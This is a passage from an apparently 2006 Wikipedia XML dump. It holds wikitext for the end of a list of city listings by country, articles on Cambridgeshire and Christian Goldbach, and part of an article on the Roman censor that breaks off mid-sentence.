*[[List of cities in North Korea|Korea, North]]
*[[List of cities in South Korea|Korea, South]]
*[[List of cities in Kuwait|Kuwait]]
*[[List of cities in Kyrgyzstan|Kyrgyzstan]]
*[[List of cities in Laos|Laos]]
*[[List of cities in Latvia|Latvia]]
*[[List of cities in Lebanon|Lebanon]]
*[[List of cities in Lesotho|Lesotho]]
*[[List of cities in Liberia|Liberia]]
*[[List of cities in Libya|Libya]]
*[[List of cities in Liechtenstein|Liechtenstein]]
*[[List of cities in Lithuania|Lithuania]]
*[[List of cities in Luxembourg|Luxembourg]]
*[[List of cities in the Former Yugoslav Republic of Macedonia|Macedonia, Former Yugoslav Republic of]]
*[[List of cities in Madagascar|Madagascar]]
*[[List of cities in Malawi|Malawi]]
*[[List of cities in Malaysia|Malaysia]]
*[[List of cities in Maldives|Maldives]]
*[[List of cities in Mali|Mali]]
*[[List of cities in Malta|Malta]]
*[[List of cities in the Marshall Islands|Marshall Islands, The]]
*[[List of cities in Mauritania|Mauritania]]
*[[List of cities in Mauritius|Mauritius]]
*[[List of cities in Mexico|Mexico]]
*[[List of cities in the Federated States of Micronesia|Micronesia, Federated States of]]
*[[List of cities in Moldova|Moldova]]
*[[List of cities in Mongolia|Mongolia]]
*[[List of cities in Morocco|Morocco]]
*[[List of cities in Mozambique|Mozambique]]
*[[List of cities in Myanmar|Myanmar]]
*[[List of cities in Namibia|Namibia]]
*[[List of cities in Nauru|Nauru]]
*[[List of cities in Nepal|Nepal]]
*Netherlands, Kingdom of the
**[[List of cities in Aruba|Aruba]]
**[[List of cities in the Netherlands|Netherlands, The]]
**[[List of cities in the Netherlands Antilles|Netherlands Antilles, The]]
*[[List of cities in New Zealand|New Zealand]]
*[[List of cities in Nicaragua|Nicaragua]]
*[[List of cities in Niger|Niger]]
*[[List of cities in Nigeria|Nigeria]]
*[[List of cities in Niue|Niue]]
*[[List of cities in Norway|Norway]]
*[[List of cities in Oman|Oman]]
*[[List of cities in Pakistan|Pakistan]]
*[[List of cities in Palau|Palau]]
*[[List of cities in Panama|Panama]]
&lt;td width=200&gt;
*[[List of cities in Papua New Guinea|Papua New Guinea]]
*[[List of cities in Paraguay|Paraguay]]
*[[List of cities in Peru|Peru]]
*[[List of cities in the Philippines|Philippines, The]]
*[[List of cities in Poland|Poland]]
*[[List of cities in Portugal|Portugal]]
*[[List of cities in Qatar|Qatar]]
*[[List of cities in Reunion|Reunion]]
*[[List of cities in Romania|Romania]]
*[[List of cities in Russia|Russia]]
**[[List of cities in Chechnya|Chechnya]]
*[[List of cities in Rwanda|Rwanda]]
*[[List of cities in Saint Kitts and Nevis|Saint Kitts and Nevis]]
*[[List of cities in Saint Lucia|Saint Lucia]]
*[[List of cities in Saint Vincent and the Grenadines|Saint Vincent and the Grenadines]]
*[[List of cities in Samoa|Samoa]]
*[[List of cities in San Marino|San Marino]]
*[[List of cities in Sao Tome and Principe|Sao Tome and Principe]]
*[[List of cities in Saudi Arabia|Saudi Arabia]]
*[[List of cities in Senegal|Senegal]]
*[[List of cities in Serbia and Montenegro|Serbia and Montenegro]]
*[[List of cities in Seychelles|Seychelles]]
*[[List of cities in Sierra Leone|Sierra Leone]]
*[[Singapore]]&lt;br&gt;&amp;ndash; ''see'' [[List of Towns, Estates and Neighbourhoods in Singapore|List of Towns in Singapore]]
*[[List of cities in Slovakia|Slovakia]]
*[[List of cities in Slovenia|Slovenia]]
*[[List of cities in Solomon Islands|Solomon Islands]]
*[[List of cities in Somalia|Somalia]]
*[[List of cities in South Africa|South Africa]]
*[[List of cities in Spain|Spain]]
*[[List of cities in Sri Lanka|Sri Lanka]]
*[[List of cities in Sudan|Sudan]]
*[[List of cities in Suriname|Suriname]]
*[[List of cities in Swaziland|Swaziland]]
*[[List of cities in Sweden|Sweden]]
*[[List of cities in Switzerland|Switzerland]]
*[[List of cities in Syria|Syria]]
*Taiwan - see [[List of cities in Taiwan|China, Republic of]]
*[[List of cities in Tajikistan|Tajikistan]]
*[[List of cities in Tanzania|Tanzania]]
*[[List of cities in Thailand|Thailand]]
*[[List of cities in Togo|Togo]]
*[[List of cities in Tonga|Tonga]]
*[[List of cities in Trinidad and Tobago|Trinidad and Tobago]]
*[[List of cities in Tunisia|Tunisia]]
*[[List of cities in Turkey|Turkey]]
*[[List of cities in Turkmenistan|Turkmenistan]]
*[[List of cities in Tuvalu|Tuvalu]]
*[[List of cities in Uganda|Uganda]]
*[[List of cities in Ukraine|Ukraine]]
*[[List of cities in the United Arab Emirates|United Arab Emirates]]
*[[List of cities in the United Kingdom|United Kingdom]]
*[[British overseas territories]]
**[[List of cities in Bermuda|Bermuda]]
**[[List of cities in the Cayman Islands|Cayman Islands]]
**[[List of settlements in the Falkland Islands|Falkland Islands]]
*[[List of cities in the United States|United States]] (US Territories included)
*[[List of cities in Uruguay|Uruguay]]
*[[List of cities in Uzbekistan|Uzbekistan]]
*[[List of cities in Vanuatu|Vanuatu]]
*[[List of cities in Venezuela|Venezuela]]
*[[List of cities in Vietnam|Vietnam]]
*[[List of cities in the West Bank and &lt;!--the--&gt;Gaza Strip|West Bank and the Gaza Strip, The]]
*[[List of cities in Yemen|Yemen]]
*[[List of cities in Zambia|Zambia]]
*[[List of cities in Zimbabwe|Zimbabwe]]
&lt;/table&gt;

==See also==
*[[List of cities by latitude]]
*[[List of metropolitan areas by population]]
*[[List of national capitals]]
*[[List of capitals of subnational entities]]
*[[List of towns]]
*[[List of neighborhood listings by city]]
*[[List of cities with more than 100 000 inhabitants]]

==extrertal link==
*[http://www.p.lodz.pl/I35/personal/jw37/EUROPE/europe.html Place Names of Europe]


[[Category:Lists of cities|*list of city listings by country]]

[[de:Liste der Städtelisten nach Ländern]]
[[eo:Listo de urboj laux lando]]
[[fa:&amp;#1601;&amp;#1607;&amp;#1585;&amp;#1587;&amp;#1578; &amp;#1588;&amp;#1607;&amp;#1585;&amp;#1607;&amp;#1575;&amp;#1740; &amp;#1576;&amp;#1586;&amp;#1585;&amp;#1711; &amp;#1580;&amp;#1607;&amp;#1575;&amp;#1606;]]
[[hi:&amp;#2360;&amp;#2349;&amp;#2368; &amp;#2342;&amp;#2375;&amp;#2358;&amp;#2379;&amp;#2306; &amp;#2350;&amp;#2375;&amp;#2306; &amp;#2358;&amp;#2361;&amp;#2352;&amp;#2379;&amp;#2306; &amp;#2325;&amp;#2368; &amp;#2360;&amp;#2370;&amp;#2330;&amp;#2367;&amp;#2351;&amp;#2366;&amp;#2305;]]
[[nds:Steden up de Eer]]
[[nl:Steden]]
[[pl:Miasta &amp;#347;wiata wed&amp;#322;ug pa&amp;#324;stw]]
[[pt:Lista de cidades por país]]
[[ru:&amp;#1043;&amp;#1086;&amp;#1088;&amp;#1086;&amp;#1076;&amp;#1072;]]
[[uk:&amp;#1057;&amp;#1087;&amp;#1080;&amp;#1089;&amp;#1086;&amp;#1082; &amp;#1084;&amp;#1110;&amp;#1089;&amp;#1090; (&amp;#1079;&amp;#1072; &amp;#1082;&amp;#1088;&amp;#1072;&amp;#1111;&amp;#1085;&amp;#1086;&amp;#1102;)]]
[[zh:&amp;#19990;&amp;#30028;&amp;#22478;&amp;#24066;&amp;#32034;&amp;#24341;]]</text>
    </revision>
  </page>
  <page>
    <title>Cambridgeshire</title>
    <id>6288</id>
    <revision>
      <id>41952028</id>
      <timestamp>2006-03-02T21:13:54Z</timestamp>
      <contributor>
        <username>Heron</username>
        <id>2954</id>
      </contributor>
      <minor />
      <comment>from</comment>
      <text xml:space="preserve">{| class=&quot;toccolours&quot; style=&quot;border-collapse: collapse; float: right; margin-left: 1em&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;300&quot;
|+ &lt;big&gt;'''Cambridgeshire'''&lt;/big&gt;
|-
| colspan=2 style=&quot;text-align: center; background: white;&quot; |[[Image:EnglandCambridgeshire.png]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; |Geography
|-
! width=&quot;45%&quot; | Status
| [[Ceremonial counties of England|Ceremonial]] &amp; (smaller) [[Metropolitan and non-metropolitan counties of England|Non-metropolitan]] county
|-
! Region
| [[East of England]]
|-
! style=&quot;font-weight: normal;&quot; | '''[[Surface area|Area]]'''&lt;br /&gt;- Total&lt;br&gt;- Admin. council&lt;br&gt;- Admin. area
|[[List of Ceremonial counties of England by Area|Ranked 15th]]&lt;br&gt;[[1 E9 m²|3,389]] [[square kilometre|km&amp;sup2;]]&lt;br&gt;[[List of Administrative shire counties of England by Area|Ranked 15th]]&lt;br&gt;3,046 km&amp;sup2;
|-
!Admin HQ
|[[Cambridge]]
|-
![[ISO 3166-2:GB|ISO 3166-2]]
|GB-CAM
|-
![[ONS coding system|ONS code]]
|12
|-
![[Nomenclature of Territorial Units for Statistics|NUTS]] 3
|UKH12
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Demographics
|-
! style=&quot;font-weight: normal;&quot; | '''[[Population]]'''&lt;br /&gt;- Total ([[2004]] est.)&lt;br /&gt;- [[Density]]&lt;br /&gt;- Admin. council&lt;br /&gt;- Admin. pop.
|[[List of ceremonial counties of England by population|Ranked 29th]]&lt;br /&gt;737,900&lt;br /&gt;217 / km&amp;sup2;&lt;br /&gt;[[List of non-metropolitan counties of England by population|Ranked 20th]]&lt;br /&gt;578,800
|-
!Ethnicity
|94.6% White&lt;br /&gt;2.6% S.Asian
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Politics
|-
|colspan=2 align=center|[[Image:arms-cambs.jpg|200px|Arms of Cambridgeshire County Council]]&lt;br /&gt;Cambridgeshire County Council&lt;br&gt;http://www.cambridgeshire.gov.uk/
|-
!Executive
|[[Conservative Party (UK)|Conservative]]
|-
![[MPs elected in the UK general election, 2005|Members of Parliament]]
|
*[[Jonathan Djanogly]]
*[[David Howarth]]
*[[Stewart Jackson]]
*[[Andrew Lansley]]
*[[Malcolm Moss]]
*[[James Paice]]
*[[Shailesh Vara]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Districts
|-
|colspan=2|&lt;center&gt;[[Image:Cambridgeshire_Ceremonial_Numbered.png]]&lt;/center&gt;
#[[Cambridge]]
#[[South Cambridgeshire]]
#[[Huntingdonshire]]
#[[Fenland]]
#[[East Cambridgeshire]]
#[[City of Peterborough|Peterborough]] (Unitary)
|}
'''Cambridgeshire''' (abbreviated '''Cambs''') is a county in [[England]], bordering [[Lincolnshire]] to the north, [[Norfolk, England|Norfolk]] to the northeast, [[Suffolk]] to the east, [[Essex, England|Essex]] and [[Hertfordshire]] to the south, and [[Bedfordshire]] and [[Northamptonshire]] to the west.  Cambridgeshire contains most of the region known as [[Silicon Fen]]. The county town is [[Cambridge]].

Cambridgeshire today is the product of several local government unifications.  In [[1888]] when [[county council]]s where introduced, two were set up, following the traditional division of Cambridgeshire into the area in the south around Cambridge, and the liberty of the [[Isle of Ely]].  In [[1965]], these two
administrative counties were merged to form [[Cambridgeshire and the Isle of Ely]].  In [[1974]],
this then merged with the county to the west, [[Huntingdon and Peterborough]] (which had been created in 1965 by the merger of [[Huntingdonshire]] with the [[Soke of Peterborough]] - a part of [[Northamptonshire]] which had its own county council).  The resulting county was called simply 'Cambridgeshire'.

Since [[1998]] the [[City of Peterborough]] is now administratively separate again, as a [[unitary authority]], but is associated with Cambridgeshire for various purposes, such as police, fire, and the [[Lord-Lieutenant|Lieutenancy]].

Famous people include [[Oliver Cromwell]], [[John Major]] (Former MP of Huntingdonshire and Prime Minister) and [[Henry Royce]], all from [[Huntingdonshire]]. [[Pink Floyd]] also originates from Cambridgeshire.

Cambridgeshire is twinned with [[Viersen (district)|Kreis Viersen]] in [[Germany]].

Although large parts of the county are extremely low-lying, the highest point is in the village of [[Great Chishill]] at 146m/480ft. Other [[topographic prominence|prominent]] hills are [[Little Trees Hill]] and [[Wandlebury Hill]] in the [[Gog Magog Downs]], [[Rivey Hill]] above [[Linton, Cambridgeshire|Linton]], [[Rowley's Hill]] and the [[Madingley Hills]].

==Settlements==
These are the settlements in Cambridgeshire with a town charter, city status or a population over 5,000; for a complete list of settlements see [[list of places in Cambridgeshire]].

*[[Burwell, Cambridgeshire|Burwell]]
*[[Cambridge]], [[Chatteris, Cambridgeshire|Chatteris]]
*[[Ely]]
*[[Godmanchester]]
*[[Huntingdon]]
*[[Littleport, Cambridgeshire|Littleport]]
*[[March, Cambridgeshire|March]]
*[[Peterborough]] (not part of the administrative county)
*[[Sawston]], [[Soham]], [[St Ives, Cambridgeshire|St Ives]], [[St Neots]]
*[[Wisbech]], [[Whittlesey]]
*[[Yaxley, Cambridgeshire|Yaxley]]

The town of [[Newmarket]] is surrounded on three sides by Cambridgeshire, being connected by a narrow strip of land to the rest of [[Suffolk]].

== Places of interest ==
*[[Abbey]]s: [[Anglesey Abbey]], [[Denny Abbey]], [[Ramsey Abbey]]
*[[Brampton Wood]] [[SSSI]]
*[[Buckden towers]]
*[[Castor Hanglands Nature Reserve]]
*[[Devil's Dyke, Cambridgeshire|Devil's Dyke]] Ancient Monument
*[[Down Field Windmill]], [[Soham]]
*[[Duxford|Duxford Airfield]] and [[Duxford Chapel]]
*[[Elton Hall]]
*[[Fowlmere Nature Reserve]]
*[[Gog Magog Downs]]
*[[Grafham Water Nature Reserve]]
*[[Great Gransden Post Mill]]
*[[Hinchingbrooke House]]
*[[Houghton Mill]]
*[[Kimbolton Castle]]
*[[Lattersey Nature Reserve]]
*[[Lode Watermill]]
*[[Long distance footpath]]s: [[Hereward Way]], [[Icknield Way]], [[Nene Way]], [[Ouse Valley Way]], [[Three Shires Bridleway]]
*[[Nene Valley Railway]], a [[heritage railway]]
*[[Paxton Pits Nature Reserve]]
*[[Peckover House &amp; Garden]], [[Wisbech]]
*[[Prickwillow Drainage Engine Museum]]
*[[River Great Ouse]], [[River Cam]]
*[[RSPB Nene Washes]]
*[[RSPB Ouse Washes]], a reserve of the [[Royal Society for the Protection of Birds]]
*The [[Ouse Washes]] consisting of the [[Old Bedford River]] and the [[New Bedford River]] (also known as the [[Hundred Foot Drain]])
*[[Wandlebury Hill|Wandlebury Country Park]] and the [[Gog Magog Downs]]
*[[Wicken Fen]] [[National Nature Reserve]]
*[[Wimpole Hall]]
*[[Wisbech and March Bramleyline]], a [[heritage railway]]
*[[WWT Welney]] - a [[Wildfowl and Wetlands Trust]] [[nature reserve]] on the [[Ouse Washes]]

==External links==
* [http://www.cambridgeshire.gov.uk/ Cambridgeshire County Council]
* [http://www.camplus.co.uk/webcam.htm Cambridge Market Place Webcam] - CamPlus Site's Market Place Webcam

{{England ceremonial counties}}
&lt;br /&gt;
{{England traditional counties}}

[[Category:Cambridgeshire| ]]

[[ang:Grantabrycgscīr]]
[[cy:Swydd Gaergrawnt]]
[[de:Cambridgeshire]]
[[es:Cambridgeshire]]
[[eo:Cambridgeshire]]
[[fr:Cambridgeshire]]
[[ko:케임브리지셔 주]]
[[no:Cambridgeshire]]
[[sco:Cambridgeshire]]
[[sk:Cambridgeshire]]</text>
    </revision>
  </page>
  <page>
    <title>Christian Goldbach</title>
    <id>6290</id>
    <revision>
      <id>39039433</id>
      <timestamp>2006-02-10T07:49:49Z</timestamp>
      <contributor>
        <username>Peruvianllama</username>
        <id>43680</id>
      </contributor>
      <minor />
      <comment>/* External links */ added link to Euler's correspondence with Goldbach</comment>
      <text xml:space="preserve">'''Christian Goldbach''' ([[March 18]], [[1690]] - [[November 20]], [[1764]]), was a [[Prussia]]n [[mathematician]], who was born in [[Königsberg|Królewiec]] (Königsberg), in [[Prussia]], as son of a pastor. Goldbach studied law and mathematics. He traveled widely throughout Europe and met with many famous mathematicians, such as [[Gottfried Leibniz|Leibniz]], [[Leonhard Euler]], and [[Nicholas I Bernoulli]]. Goldbach went to work at the newly opened [[St Petersburg Academy of Sciences]] and became tutor to the later Tsar [[Peter II of Russia|Peter II]].

Goldbach did important work in the mathematical field. He is remembered today for [[Goldbach's conjecture]].He also studied and proved some theorems on [[perfect power]]s.

==External links==
*{{MacTutor Biography|id=Goldbach}}
* [http://www.math.dartmouth.edu/~euler/correspondence/correspondents/Goldbach.html Electronic copies of Euler's correspondence with Goldbach]


{{mathbiostub}}
[[Category:1690 births|Goldbach, Christian]]
[[Category:1764 deaths|Goldbach, Christian]]
[[Category:German mathematicians|Goldbach, Christian]]
[[Category:18th century mathematicians|Goldbach, Christian]]
[[Category:Number theorists|Goldbach, Christian]]

[[de:Christian Goldbach]]
[[es:Christian Goldbach]]
[[fr:Christian Goldbach]]
[[it:Christian Goldbach]]
[[he:כריסטיאן גולדבך]]
[[nl:Christian Goldbach]]
[[pt:Christian Goldbach]]
[[scn:Christian Goldbach]]
[[sv:Christian Goldbach]]
[[tr:Christian Goldbach]]</text>
    </revision>
  </page>
  <page>
    <title>Censor (ancient Rome)</title>
    <id>6291</id>
    <revision>
      <id>41523016</id>
      <timestamp>2006-02-27T22:53:07Z</timestamp>
      <contributor>
        <username>JStewart</username>
        <id>965725</id>
      </contributor>
      <comment>Revert to revision 40111485 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{otheruses3|Censor}}
{{copyedit}}
{{Roman government}}
'''Censor''' was the title of two [[Magistratus|magistrate]]s of high rank in the [[Roman Republic]]. Their office was called ''censura''. From early in the Republic, they were responsible for maintaining the ''[[Roman census|census]]'', which was a register of Roman citizens and of their property, and to supervise public [[morality]] and certain aspects of finance.

==Creation of the rank==
The census was first established by [[Servius Tullius]], the fifth [[king of Rome]]. After the expulsion of the kings and the creation of the Republic, the census was taken by the [[consul]]s until [[443 BC]].  In [[442 BC]], no consuls were elected, but rather [[military tribune]]s with consular power were appointed in their place, as an attempt by the plebeians to attain higher magistracies (since consuls could only be patricians, while some military tribunes were plebeians).  To keep the right of census from the hands of [[plebeian]]s, the [[patrician]]s deprived the consuls and consequently their representatives, the tribunes, of the right of taking the census, and entrusted it to two magistrates, called ''censores'' ([[English language|English]] ''censors''), who were to be chosen exclusively from the patricians.

The magistracy continued to be a patrician one till [[351 BC]], when [[Gaius Marcius Rutilus]] was the first plebeian censor ([[Livy]] vii.22). Twelve years afterwards, [[339 BC]], it was provided by one of the [[Publilian laws]] that one of the censors had to be a plebeian (Livy viii.12), but it was not till [[280 BC]] that a plebeian censor performed the solemn purification of the people (&quot;''[[#Lustrum|lustrum]]''&quot;; Livy [[Periochae]] 13). In [[131 BC]], the two censors were for the first time both plebeians.

There were always two censors, because the two consuls had previously taken the census together. If one of the censors died during the time of his office, another had to be chosen to replace him, as in the case of consuls. This, however, happened only once, in [[393 BC]]&amp;mdash;the [[Gaul]]s captured Rome in this ''lustrum'' (five-year period), so the Romans regarded it as &quot;an offense against religion&quot; thereafter (Livy v.31). From then on, if one of the censors died, his colleague resigned, and two new censors were chosen (Livy vi.27, ix.34, xxiv.43, xxvii.6).

==Election==
The censors were elected in the [[Centuriate Assembly]] held under the presidency of a consul ([[Auli Gellii]] xiii.15; Livy xl.45). [[Barthold Georg Niebuhr|Barthold Niebuhr]] suggests that they were at first elected by the [[Curiate Assembly]], and that their election was confirmed by the Centuriate; but [[William Smith]] believes that &quot;there is no authority for this supposition, and the truth of it depends entirely upon the correctness of [Niehbur's] views respecting the election of the consuls&quot;. Both censors had to be elected on the same day, and accordingly if the voting for the second was not finished, the election of the first was invalidated, and a new assembly had to be held (Livy ix.34).

The assembly for the election of the censors was held under different [[Auspex|auspices]] from those at the election of the consuls and [[praetor]]s, so the censors were not regarded as their colleagues, although they likewise possessed the ''[[maxima auspicia]]'' (Gellii xiii.15). The assembly was held by the consuls of the year very soon after they had entered upon their office (Livy xxiv.10, xxxix.41); and the censors, as soon as they were elected and the censorial power had been granted to them by a decree of the Centuriate Assembly (''lex centuriata''), were fully installed in their office ([[Cicero]], ''[[de Lege Agraria]]'' ii.11; Livy xl.45).

As a general principle, the only ones eligible to the office of censor were those who had previously been consuls, but a few exceptions occur. At first there was no law to prevent a person being censor a second time, but the only person who was elected to the office twice was [[Gaius Marcius Rutilus]] in [[265 BC]].  In that year, he brought forward a law stating that no one could be chosen censor twice.  In consequence of this, he received the [[Cognomen|surname]] of ''Censorinus'' ([[Plutarch]], ''[[Life of Coriolanus]]'' 1; [[Valerius Maximus]] iv.1 §3).

==Attributes==
The censorship differs from all other Roman magistracies in the length of time during which it was held. The censors were originally chosen for a whole ''lustrum'' (period of five years), but their office was limited to eighteen months as early as ten years after its institution ([[433 BC]]) by a law of the [[Roman dictator|dictator]] [[Mamercus Aemilius Mamercinus]] (Livy iv.24, ix.33). The censors also held a unique position with respect to rank and dignity. They had no ''[[imperium]]'', and accordingly no [[lictor]]s (Zonar. vii.19). Their rank was granted to them by the Centuriate Assembly, and not by the ''[[curia]]e'', and in that respect they were inferior in power to the consuls and praetors (Cicero, ''de Lege Agraria'' ii.11).

Notwithstanding this, the censorship was regarded as the highest dignity in the state, with the exception of the dictatorship; it was a &quot;sacred magistracy&quot; (''sanctus magistratus''), to which the deepest reverence was due (Plutarch ''[[Life of Cato the Elder]]'' 16, ''[[Life of Flaminius]]'' 18, ''[[Life of Camillus]]'' 2, 14, ''[[Life of Aemilius]]'' 38; Cicero ''[[ad Familiares]]'' iii.10). The high rank and dignity which the censorship obtained was due to the various important duties gradually entrusted to it, and especially to its possessing the ''regimen morum'', or general control over the conduct and the morals of the citizens.  In the exercise of this power, they were regulated solely by their own views of duty, and were not responsible to any other power in the state (Dionys. in Mai, Nova Coll. vol. ii p516; Livy iv.24, xxix.37; Valerius Maximus vii.2 §6).

The censors possessed of course the &quot;curule seat&quot; (''sella curulis'') (Livy xl.45), but there is some doubt with respect to their official dress. From a well-known passage of Polybius (vi.53) describing the use of the ''imagines'' at funerals, we may conclude that a consul or praetor wore the purple-bordered ''[[toga praetexta]]'', one who triumphed the embroidered ''[[toga picta]]'', and the censor a purple toga peculiar to him; but other writers speak of their official dress as the same as that of the other higher magistrates (Zonar. vii.19; Athen. xiv. p660c). The funeral of a censor was always conducted with great pomp and splendour, and hence a &quot;censorial funeral&quot; (''funus censorium'') was voted even to the emperors ([[Tacitus]] [[Annales]] iv.15, xiii.2).

==Abolition==
The censorship continued in existence for 421 years, from [[443 BC]] to [[22 BC]]; but during this period many ''lustra'' passed by without any censor being chosen at all. According to one statement, the office was abolished by [[Lucius Cornelius Sulla|Sulla]] (Schol. Gronov. ''ad Cic. Div. in Caecil.'' 3, p384, ed. [[Johann Caspar Orelli]]).  Although the authority on which this statement rests is not of much weight, the fact itself is probable, since there was no census during the two ''lustra'' which elapsed from Sulla's dictatorship of [[Gnaeus Pompeius Magnus|Pompey]] ([[82 BC|82]]&amp;ndash;[[70 BC]]), and any strict &quot;imposition of morals&quot; would have been found very inconvenient to the aristocracy in whose favour Sulla legislated.

If the censorship was done away with by Sulla, it was at any rate restored in the consulship of Pompey and [[Marcus Licinius Crassus|Crassus]]. Its power was limited by one of the laws of the tribune [[Clodius]] ([[58 BC]]), which prescribed certain regular forms of proceeding before the censors in expelling a person from the [[Roman Senate]], and required that the censors be in agreement to exact this punishment ([[Cassius Dio]] xxxviii.13; Cicero ''[[pro Sestio]]'' 25, ''de Prov. Cons.'' 15). This law, however, was repealed in the third consulship of Pompey (52 BC), on the proposition of his colleague [[Caecilius Metellus Scipio]] (Cassius Dio xl.57), but the censorship never recovered its former power and influence.

During the [[Roman civil wars|civil wars]] which followed soon afterwards, no censors were elected; it was only after a long interval that they were again appointed, namely in [[22 BC]], when [[Augustus]] caused [[Lucius Munatius Plancus]] and [[Paulus Aemilius Lepidus]] to fill the office ([[Suetonius]] ''[[Life of Augustus]]'' 37, ''[[Life of Claudius]]'' 16; Cassius Dio liv.2). This was the last time that such magistrates were appointed; the emperors in future discharged the duties of their office under the name of [[Praefectura Morum]] (&quot;prefect of the morals&quot;).

Some of the emperors sometimes took the name of censor when they actually held a census of the Roman people, as was the case with [[Claudius]], who appointed the elder [[Vitellius]] as his colleague (Suetonius ''[[Life of Claudius]]'' 16; Tacitus Annales xii.4, [[Histories (Tacitus)|Historia]] i.9), and with [[Vespasian]], who likewise had a colleague in his son Titus (Suet. Vesp. 8, Tit. 6). Domitian assumed the title of &quot;perpetual censor&quot; (''censor perpetuus'') (Cassius Dio liii.18), but this example was not imitated by succeeding emperors. In the reign of [[Decius]] we find the elder [[Valerian]] nominated to the censorship (Symmach. ''Ep.'' iv.29, v.9), but this design was never carried into effect.

==Duties==
The duties of the censors may be divided into three classes, all of which were closely connected with one another: 

#The [[Roman census|Census]], or register of the citizens and of their property, in which were included the reading of the [[Roman Senate|Senate]]'s lists (''lectio senatus'') and the recognition of who qualified for [[Equites|equestrian]] rank (''recognitio equitum'');
#The Regimen Morum, or keeping of the public morals; and
#The administration of the finances of the state, under which were classed the [[superintendence]] of the public buildings and the erection of all new public works.

The original business of the censorship was at first of a much more limited kind, and was restricted almost entirely to taking the census (Livy iv.8), but the possession of this power gradually brought with it fresh power and new duties, as is shown below. A general view of these duties is briefly expressed in the following passage of Cicero (''de Leg.'' ii.3): &quot;Censores populi aevitates, soboles, familias pecuniasque censento: urbis templa, vias, aquas, aerarium, vectigalia tuento: populique partes in tribus distribunto: exin pecunias, aevitates, ordines patiunto: equitum, peditumque prolem describunto: caelibes esse prohibento: mores populi regunto: probrum in senatu ne relinquunto.&quot; &lt;!-- Needs translation! --&gt;

===Census===
The Census, the first and principal duty of the censors, was always held in the [[Campus Martius]], and from the year [[435 BC]] in a special building called [[Villa Publica]], which was erected for that purpose by the second pair of censors, [[Gaius Furius Pacilus]] and [[Marcus Geganius Macerinus]] (Livy iv.22; [[Varro]] ''[[de Re Rustica]]'' iii.2).

An account of the formalities with which the census was opened is given in a fragment of the [[Tabulae Censoriae]], preserved by Varro (''L.L.'' vi.86, 87, ed. Müller). After the [[auspex|auspices]] had been taken, the citizens were summoned by a public crier to appear before the censors. Each tribe was called up separately (Dionys. v.75), and the names in each tribe were probably taken according to the lists previously made out by the tribunes of the tribes. Every [[paterfamilias]] had to appear in person before the censors, who were seated in their [[curule chair]]s, and those names were taken first which were considered to be of good omen, such as [[Valerius]], [[Salvius]], [[Statorius]], etc. (Festus, ''s.v. Lacus Lucrinus''; Schol. Bob. ''ad Cic. pro Scaur.'' p374, ed. Orelli).

The census was conducted according to the judgment of the censor (''ad arbitrium censoris''), but the censors laid down certain rules (Livy iv.8, xxix.15), sometimes called ''leges censui censendo'' (Liv. xliii.14), in which mention was made of the different kinds of property subject to the census, and in what way their value was to be estimated. According to these laws, each citizen had to give an account of himself, of his family, and of his property upon oath, &quot;declared from the heart&quot; ([[Dionysius]] iv.15; Livy xliii.14).

First he had to give his full name ([[praenomen]], [[nomen]], and [[cognomen]]) and that of his father, or if he were a [[Libertus|freedman]] that of his [[Patronus|patron]], and he was likewise obliged to state his age. He was then asked, &quot;You, declaring from your heart, do you have a wife?&quot; and if married he had to give the name of his wife, and likewise the number, names, and ages of his children, if any (Gell. iv.20; Cicero ''[[de Oratore]]'' ii.64; Tab. Heracl. 142 (68); ''[[Digesta Iustiniani]]'' 50 tit.15 s3). Single women and orphans were represented by their guardians; their names were entered in separate lists, and they were not included in the sum total of heads (cf. Livy iii.3, ''[[Periochae]]'' 59).

After a citizen had stated his name, age, family, etc., he then had to give an account of all his property, so far as it was subject to the census. Only such things were liable to the census (''censui censendo'') as were property according to the [[Quiritarian]] law. At first each citizen appears to have merely given the value of his whole property in general without entering into details (Dionysius iv.15; Cicero ''[[de Legibus]]'' iii.3; Festus, s.v. ''Censores''); but it soon became the practice to give a minute specification of each article, as well as the general value of the whole (cf. Cicero ''pro Flacc.'' 32; Gell. vii.11; Plutarch ''[[Life of Cato the Elder]]'' 18).

Land formed the most important article in the census, but public land, the possession of which only belonged to a citizen&lt;!-- ??? --&gt;, was excluded as not being [[Quiritarian]] property. If we may judge from the practice of the imperial period, it was the custom to give a most minute specification of all such land as a citizen held according to the Quiritarian law. He had to state the name and situation of the land, and to specify what portion of it was arable, what meadow, what vineyard, and what olive-ground: and to the land thus minutely described he had to affix his own valuation (''Digesta Iustiniani'' 50 tit.15 s4).

[[Slave]]s and cattle formed the next most important item. The censors also possessed the right of calling for a return of such objects as had not usually been given in, such as clothing, jewels, and carriages (Livy xxxix.44; Plutarch ''Life of Cato the Elder'' 18). It has been doubted by some modern writers whether the censors possessed the power of setting a higher valuation on the property than the citizens themselves had put, but when we recollect the discretionary nature of the censors' powers, and the necessity almost that existed, in order to prevent fraud, that the right of making a surcharge should be vested in somebody's hands, we can hardly doubt that the censors had this power. It is moreover expressly stated that on one occasion they made an extravagant surcharge on articles of luxury (Livy xxxix.44; Plutarch ''Life of Cato the Elder'' 18); and even if they did not enter in their books the property of a person at a higher value than he returned it, they accomplished the same end by compelling him to pay down the tax upon the property at a higher rate than others. The tax was usually one per thousand upon the property entered in the books of the censors, but on one occasion the censors compelled a person to pay eight per thousand as a punishment (Livy iv.24).

A person who voluntarily absented himself from the census was considered ''incensus'' and subject to the severest punishment. [[Servius Tullius]] is said to have threatened such individuals with imprisonment and death (Livy i.44), and in the [[Roman Republic|Republican]] period he might be sold by the state as a slave (Cicero ''[[pro Caecina Oratio]]'' 34). In the later times of the republic, a person who was absent from the census might be represented by another, and thus be registered by the censors (Varr. ''L.L.'' vi.86). Whether the soldiers who were absent on service had to appoint a representative may be questioned. In ancient times the sudden breaking out of a war prevented the census from being taken (Livy vi.31), because a large number of the citizens would necessarily be absent. It is supposed from a passage in Livy (xxix.37) that in later times the censors sent commissioners into the provinces with full powers to take the census of the Roman soldiers there, but this seems to have been only a special case. It is, on the contrary, probable from the way in which Cicero pleads the absence of [[Archias]] from [[Rome]] with the army under [[Lucullus]], as a sufficient reason for his not having been enrolled in the census 